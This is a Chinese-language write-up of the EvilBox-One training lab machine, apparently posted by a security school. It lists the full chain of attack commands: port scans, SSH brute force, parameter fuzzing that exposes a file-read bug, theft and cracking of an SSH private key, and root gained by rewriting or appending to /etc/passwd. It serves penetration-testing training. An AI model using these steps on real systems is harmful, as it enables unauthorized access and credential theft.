获网安教程
免费&进群
本文由掌控安全学院-杳若投稿
OSCP系列靶场-Esay-EvilBox-One
总结
getwebshell → 通过超级强的目录爆破字典(添加后缀)得到端点 → 测试发现文件读取 → 读取用户名以及ssh
密钥 → john
破译密钥的密码 → ssh
登录
提 权 思 路 → 发现suid
的passwd
→ 覆盖root
密码/添加root
权限的账号密码
准备工作
-
启动VPN
获取攻击机IP >192.168.45.211
-
启动靶机
获取目标机器IP >192.168.245.212
信息收集-端口扫描
目标开放端口收集
-
Nmap开放端口扫描2次
-
sudo nmap --min-rate 10000 -p- 192.168.245.212
通过两次收集到的端口:→22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.245.212
信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用OpenSSH 7.9p1 Debian 10+deb10u2
# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit openssh 7.9
7.9p1的枚举脚本较多,实在没思路的再来尝试
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
ssh root@192.168.245.212 -v
# 如果显示publickey、password就是都支持
说明存在root
,并且可以密码爆破和私钥登录
22-SSH弱口令爆破(等待)
尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.245.212 ssh -s 22
22-SSH手动登录尝试(无)
尝试root
账户的密码爆破发现报错之后进行手动尝试
ssh root@192.168.245.212 -p 22
# 密码尝试
password > root
80-HTTP端口的信息收集
访问 http://192.168.245.212:80
从源码泄露开始
信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.245.212:80
无可用信息
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.245.212:80 -x 302,403
发现secret
目录,301
说明目录内还有内容,从目录名上看有戏,接着往下扫描并进行递归
dirsearch -u http://192.168.245.212:80/secret -x 302,403 -r 2
扫出了index.html
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-端点探测
/robots.txt
端点
发现文本Hello H4x0r
,推测用户名为H4x0r
Hello H4x0r
/secret/index.html
端点
一片空白,源码中似乎也没有任何内容
思考
从现有情况来看,我可以用九头蛇尝试爆破H4x0r
同时利用更大的字典扫目录,先从/secret
端点开始,同时进行
hydra -l H4x0r -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.245.212 ssh -s 22
# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
# 考虑到信息收集网站的后缀是php 添加一些后缀内容
gobuster dir -u http://192.168.243.212/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 100 -x .php,.zip,.html -k
在经历了一大堆的错误之后得到了唯一一个200
的端点/evil.php
/(ㄒoㄒ)/
信息收集-端点访问
/secret/evil.php
端点
访问发现依旧什么都没有,从文件名来看可能是php
代码
尝试访问/secret/evil.php~
没看到源码
漏洞利用-getwebshell
ffuf得到参数
http://192.168.245.212:80/secret/evil.php
在不清楚用途的情况下可以尝试fuzz
一下参数
在使用字典上选择了目录爆破的字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
ffuf -u 'http://192.168.243.212:80/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0 > output.txt
通过fuzz
发现了一个有效参数command
漏洞利用-文件读取
通过测试发现evil
是一个文件读取的功能
在/etc/passwd
下发现了用户mowree
(所以那个robots
提示的用户名是啥意思?)
通常我们利用文件读取和getwebshell
关联的莫过于读取用户密码或者密钥,来登录SSH
读取加密密码(失败)
因为是用户权限读不到http://192.168.245.212:80/secret/evil.php?command=/etc/shadow
读取SSH密钥
因为是文件读取不是路径遍历,我们要清楚用户底下有没有什么机密的文件,利用工具FUZZ
一下
ffuf -u 'http://192.168.245.212:80/secret/evil.php?command=/home/mowree/FUZZ' -w /usr/share/wordlists/rockyou.txt -fs 0
不过通常用户底下的机密文件是隐藏文件的比较多
我在这里用手动检查了以下几个
/home/mowree/.bash_history # 历史操作
/home/mowree/.mysql_history
/home/mowree/.ssh/id_rsa # 私钥
/home/mowree/.ssh/id_rsa.pub
/home/mowree/.ssh/authorized_keys
检查发现存在私钥文件,那么我们可以直接利用私钥免密登录
# 保存下来
curl http://192.168.243.212:80/secret/evil.php?command=/home/mowree/.ssh/id_rsa > id_rsa
# 免密登录
sudo ssh -i id_rsa mowree@192.168.243.212 -p22
登录发现需要密钥的密码
暴力破解ssh密钥密码
破解密钥密码我们用john
# 利用john的脚本ssh2john.py将私钥id_rsa换成能爆破的hash
/usr/share/john/ssh2john.py id_rsa > ssh.hash
# 利用john离线破译ssh-hash的密码
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
发现了密码unicorn
22-SSH密钥登录
获取密钥之后指定密钥进行登录
sudo ssh -i id_rsa mowree<span>@192.168.243.212</span> -p22
password > unicorn
死活都登录不上,研究了一下说明是我的id_rsa
的权限开的太大了
首先把权限减小 chmod 600 id_rsa
,登录成功
内网遨游-getshell
FLAG1获取
mowree@EvilBoxOne:~$ find / -name local.txt 2>/dev/null
/home/mowree/local.txt
mowree@EvilBoxOne:~$ cat /home/mowree/local.txt
**********************
提权基础(内网信息收集)
提权的本质在于枚举
检测Linux操作系统的发行版本
# 确定发行版本
cat /etc/*-release
发行版本是Debian
检测Linux操作系统的内核版本
mowree@EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
内核版本4.19.0
sudo收集
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
suid权限收集
搜索suid
文件权限
# -perm 文件权限
mowree@EvilBoxOne:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/fusermount
看到了/usr/bin/passwd
尝试一下/etc/passwd
权限收集
ls -al /etc/passwd
发现文件具有写入权限,在此基础上提权的方式有两种
权限提升
/etc/passwd提权
提权方式一-覆盖root密码
覆盖掉root的密码
# Kali机器使用openssl生成密码
sudo openssl passwd
生成了123456
的加密密码$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.
目标机器上覆盖
# 将root中x替换掉 root:x:0:0:root:/root:/bin/bash
vim /etc/passwd
-----vim------
root:$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.:0:0:root:/root:/bin/bash
--------------
# su默认root账户提权,输入密码
su
将x
替换成密码
提权方式二-写入root权限的账号以及密码
目标机器上写入新的root账号YaoRuo
# 利用echo写入/etc/passwd底下,新的密码
echo 'YaoRuo:$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.:0:0::/root:/bin/bash' >> /etc/passwd
# su提权YaoRuo账户,输入密码
su YaoRuo
这样添加了一个YaoRuo
的root
账户,进入就是root
权限
提权成功
FLAG2获取
root<span>@EvilBoxOne</span>:/home/mowree# cat /root/proof.txt
*********************
完结撒花~
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论